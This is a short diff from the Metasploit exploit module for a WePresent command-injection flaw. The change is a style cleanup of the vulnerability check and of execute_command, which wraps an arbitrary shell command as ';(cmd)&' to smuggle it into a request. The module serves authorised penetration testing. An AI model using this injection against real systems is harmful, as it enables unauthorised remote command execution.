Use string interpolation and removed rundant namespace and return statement

modules/exploits/linux/http/wepresent_cmd_injection.rb

@@ -83,15 +83,15 @@ class MetasploitModule < Msf::Exploit::Remote
     if check_resp.code == 200
       check_resp.body.gsub!(/[\r\n]/, "")
       if check_resp.body == "root"
-        return Exploit::CheckCode::Vulnerable
+        return CheckCode::Vulnerable
       end
     end
 
-    return Exploit::CheckCode::Safe
+    CheckCode::Safe
   end
 
   def execute_command(cmd, _opts = {})
-    send_command(";(" + cmd + ")&", nil)
+    send_command(";(#{cmd})&", nil)
   end
 
   def exploit